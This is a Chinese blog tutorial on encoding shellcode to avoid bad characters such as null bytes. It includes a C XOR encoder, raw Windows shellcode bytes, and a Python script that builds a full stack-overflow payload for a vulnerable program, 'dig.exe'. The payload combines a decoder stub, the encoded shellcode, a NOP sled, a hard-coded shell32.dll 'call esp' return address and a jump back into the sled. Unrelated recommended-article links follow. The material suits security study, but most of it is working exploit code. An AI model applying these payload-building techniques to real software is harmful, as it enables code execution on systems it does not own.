在很多漏洞利用场景中, shellcode 的内容将会受到限制。

例如你不能输入 \x00 这个字符,编辑框不能输入 \x0d \x0a这样的字符

所以需要完成 shellcode 的逻辑,然后使用编码技术对 shellcode 进行编码,使其内容达到限

制的要求,最后再精心构造十几个字节的解码程序,放在 shellcode 开始执行的地方。

当 exploit 成功时, shellcode 顶端的解码程序首先运行,它会在内存中将真正的 shellcode

还原成原来的样子,然后执行。这种对 shellcode 编码的方法和软件加壳的原理非常类似。

这样,我们只需要专注于几条解码指令,使其符合限制条件就行,相对于直接关注于整段shellcode 来说使问题简化了很多。

  • 由上一篇文章提取出来的机器码,进行最简单的加密,异或
  • 目标:还是我第一篇文章中共享的dig.exe含漏洞的程序

功能为弹出对话框,然后退出程序

#include<stdlib.h>
#include<string.h> void encoder(char* input, unsigned char key)
{
int i = 0, len = 0;
FILE * fp;
len = strlen(input);
unsigned char * output = (unsigned char *)malloc(len + 1);
for (i = 0; i<len; i++)
output[i] = input[i] ^ key;
fp = fopen("encode.txt", "w+");
fprintf(fp, "\"");
for (i = 0; i<len; i++)
{
fprintf(fp, "\\x%0.2x", output[i]);
if ((i + 1) % 16 == 0)
fprintf(fp, "\"\n\"");
}
fprintf(fp, "\"");
fclose(fp);
printf("dump the encoded shellcode to encode.txt OK!\n");
free(output);
} int _tmain(int argc, _TCHAR* argv[])
{
char sc[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90";
encoder(sc, 0x51);
getchar();
return 0;
}

注意: 在进行异或操作时,key不能与原机器码中的数值一样,否则运算结束后会有0,而 0 是字符串的结尾,不能做为输入字符

在加密结束后,要检查输出的加密shellcode中是否有 0d(\r) 0a(\n)这样的字符这样的字符同样不能输入

我试了大约20次不同的key才找到一个0x51可以使用,有时间我再把他改成自动挑选shellcode的代码吧...

  • 在放置shellcode的时候,我翻了一次车

在上次实验中,shllcode比较小没问题

可是这次shellcode比较大,大到了已经可以覆盖上一个函数栈帧的的eip了

如果在按照左图的布局方式,会出现一些我目前还无法解释错误

经过多次翻车后,我开始按照右图的布局方式来做

为了减小shllcode的体积,增加shellcode的灵活性,建议以后也按照右图的方式布局

(如果文中有错误的地方,请批评指正,谢谢!)

先在栈中写 一大片 nop 这样eip之后的jmp就可以不用控制的很精确也可以跳到shellcode

只要 jmp 击中了 nop 就好了

#shellcode 脱壳程序
shellcode = "\x89\xe0" #mov eax,esp
shellcode += "\x05\xec\xfe\xff\xff"
shellcode += "\x83\xC0\x1b" #ADD EAX,1b 使eax指向加密数据
shellcode += "\x33\xC9" #XOR ECX,ECX
shellcode += "\x8A\x1C\x08" #MOV BL,BYTE PTR DS:[EAX+ECX]
shellcode += "\x80\xF3\x51" #XOR BL,51
shellcode += "\x88\x1C\x08" #MOV BYTE PTR DS:[EAX+ECX],BL
shellcode += "\x41" #INC ECX
shellcode += "\x80\xFB\x90" #CMP BL,90H
shellcode += "\x75\xF1" #JNE
#加了壳的真实shellcode
shellcode += "\xad\x39\x3b\x5b\x69\x4f\x39\x32\xd8\x80\x1e\x39\x63\x25\xc0\x5d"
shellcode += "\xda\xa5\xdc\x2f\xa5\x62\x8a\xe6\x55\x7a\xb2\x37\xea\x62\x63\x02"
shellcode += "\x39\x24\x22\x34\x23\x05\x62\x83\x35\xda\x0b\x61\xda\x1a\x5d\xda"
shellcode += "\x18\x4d\xda\x58\xda\x38\x59\xfc\x6c\x3b\x5b\x69\x4f\x24\x54\xc4"
shellcode += "\xae\x06\xa9\xc4\x31\xda\x14\x6d\xda\x1d\x54\x29\x52\x9c\xda\x08"
shellcode += "\x71\x52\x8c\x62\xae\x16\xda\x65\xea\x52\xa4\xc8\x5e\xef\x57\x6b"
shellcode += "\x95\x25\x59\x90\x9b\x56\x52\x81\x17\xba\xa0\x6a\x05\x75\x4d\x24"
shellcode += "\xb5\xda\x08\x75\x52\x8c\x37\xda\x6d\x2a\xda\x08\x4d\x52\x8c\x52"
shellcode += "\x7d\xea\xc4\x0e\xfa\x06\x30\x6c\x3b\x5b\x69\x4f\x24\xf8\x62\x8a"
shellcode += "\x02\x39\x26\x34\x22\x25\x39\x37\x30\x38\x3d\xda\x95\x02\x01\x01"
shellcode += "\x02\xae\x06\xad\x02\xae\x06\xa9\xc1" shellcode += '\x90'*0x50 eip = '\x73\x15\xbf\x7d' #shell32.dll <call esp> 0x7dbf1573 junk = '\x90' * (997-len(shellcode)) jmp = "\xe9\xdf\xfe\xff\xff" #payload
payload = junk + shellcode + eip + jmp #将payload写入到文件payload.txt
fp = open("payload.txt","w")
fp.write(payload)
fp.close()
print "[+]payload"
  • mov eax,esp 后,eax为eip的下一个位置(jmp)这个地方
  • 在上段代码中 hex(len(shellcode)) 可以得到shellcode的长度
  • 然后 sub eax 这个长度就可以让eax 指向shellcode的开关

    sub eax,0x114 的机器码为 2D 14010000,我们的字符串中不能存在 \0 字符

    所以不能用减法了,改为加法

    add 0x114的补码就没有 \0 字符了

    esp 当前位置并不是在shellcode尾部,所以eax应该加0x11c的补码

  • 然后eax加上解密的shllcode的长度,指向加密的shllcode的数据
  • 我的shellcode解密出来最后一位是 \x90,遇到 \x90就向下运行

如果解完密的shellcode与自己写的shllcode不一样,那就换一个key重新加密一次,数据可能在复制过程中发生了改变

小建议:生成的字符串用winHex打开,可以获得最大的准确性

shellcode 编码技术的更多相关文章

  1. H264编码技术

    H.264的目标应用涵盖了眼下大部分的视频服务,如有线电视远程监控.交互媒体.数字电视.视频会议.视频点播.流媒体服务等.H.264为解决不同应用中的网络传输的差异.定义了两层:视频编码层(VCL:V ...

  2. 音视频编解码技术(二):AAC 音频编码技术

    一.AAC编码概述 AAC是高级音频编码(Advanced Audio Coding)的缩写,出现于1997年,最初是基于MPEG-2的音频编码技术,目的是取代MP3格式.2000年,MPEG-4标准 ...

  3. PHP加密与编码技术

    md5加密: string  md5( string $str [,bool $raw output=false]) md5加密方法用的挺多,有两个参数,第一个参数是要加密的字符串,第二个参数默认为f ...

  4. H264编码技术[3]

    H.264的目标应用涵盖了目前大部分的视频服务,如有线电视远程监控.交互媒体.数字电视.视频会议.视频点播.流媒体服务等.H.264为解决不同应用中的网络传输的差异.定义了两层:视频编码层(VCL:V ...

  5. Redis 数据结构与编码技术 (Object Encoding)

    数据结构实现 相信大家对 redis 的数据结构都比较熟悉: string:字符串(可以表示字符串.整数.位图) list:列表(可以表示线性表.栈.双端队列.阻塞队列) hash:哈希表 set:集 ...

  6. iOS视频硬编码技术

    iOS视频硬编码技术 一.iOS视频采集硬编码 基本原理 硬编码 & 软编码 硬编码:通过系统自带的Camera录制视频,实际上调用的是底层的高清编码硬件模块,即显卡,不使用CPU,速度快 软 ...

  7. 哈夫曼编码(Huffman coding)的那些事,(编码技术介绍和程序实现)

    前言 哈夫曼编码(Huffman coding)是一种可变长的前缀码.哈夫曼编码使用的算法是David A. Huffman还是在MIT的学生时提出的,并且在1952年发表了名为<A Metho ...

  8. 直播平台搭建之音视频开发:认识主流视频编码技术H.264

    H.264简介 什么是H.264?H.264是一种高性能的视频编解码技术.目前国际上制定视频编解码技术的组织有两个,一个是"国际电联",它制定的标准有H.261.H.263.H.2 ...

  9. 常用音频协议介绍&&有关音频编码的知识与技术参数

    (转载)常用音频协议介绍 会议电视常用音频协议介绍及对比白皮书 一.数字化音频原理:声音其实是一种能量波,因此也有频率和振幅的特征,频率对应于时间轴线,振幅对应于电平轴线.通常人耳可以听到的频率在20 ...

随机推荐

  1. Operating System Error Codes

    How To Fix Windows Errors Click here follow the steps to fix Windows and related errors. Instruction ...

  2. 题解 P2920 【[USACO08NOV]时间管理Time Management】

    题面 作为一名忙碌的商人,约翰知道必须高效地安排他的时间.他有N工作要 做,比如给奶牛挤奶,清洗牛棚,修理栅栏之类的. 为了高效,列出了所有工作的清单.第i分工作需要T_i单位的时间来完成,而 且必须 ...

  3. SDN 第三次上机作业

    SDN 第三次上机作业 1.创建拓扑 2.利用OVS命令下发流表,实现vlan功能 3.利用OVS命令查看流表 s1: s2: 4.验证性测试 5.Wireshark 抓包验证

  4. window与Linux之间的文件传输

    使用工具:WinSCP WinSCP可以直接通过SSH链接你的linux服务器:然后进行文件的复制操作:并且可以直接编辑文件. 1.下载WinSCP 2.登录WinSCP,输入你的Linux 的IP地 ...

  5. mod_php和mod_fastcgi和php-fpm的介绍,对比和性能数据

    1.php中fastcgi和php-fpm是什么东西 最近在研究和学习php的性能方面的知识,看到了factcgi以及php-fpm,发现我对他们是少之又少的理解,可以说几乎是一无所知,想想还是蛮可怕 ...

  6. BZOJ3632:外太空旅行(最大团,DFS)

    Description 在人类的触角伸向银河系的边缘之际,普通人上太空旅行已经变得稀松平常了.某理科试验班有n个人,现在班主任要从中选出尽量多的人去参加一次太空旅行活动. 可是n名同学并不是和平相处的 ...

  7. CF838D Airplane Arrangements

    传送门:https://www.luogu.org/problemnew/show/CF838D 这道题反正我自己想是毫无头绪,最后还是听了肖大佬的做法. 因为题中说乘客可以从前后门进来,所以我们可以 ...

  8. ocr jdk

    公司有个需求,遍历所有图片,筛选出含有敏感字的图片.这里就需要ocr技术,找了几天,发现了几个不错的ocr jdk. http://cn.ocrsdk.com/ 俄罗斯公司,贵有贵的道理 http:/ ...

  9. WorldWind源码剖析系列:挂件类Widgets

    WorldWindow用户定制控件类中所包含的的挂件类Widgets控件主要有如下图所示的派生类.它们的类图如下所示. 鉴于挂件类Widgets及其派生类,相对简单,基本上都是些利用DirectX3D ...

  10. OpenCV——颜色缩减、计时函数、访问像素

    //颜色空间缩减 //src:源图片 //dst:目标图片 //divideWith:缩减宽度 void ColorSpaceReduction(Mat src,int divideWith,Mat& ...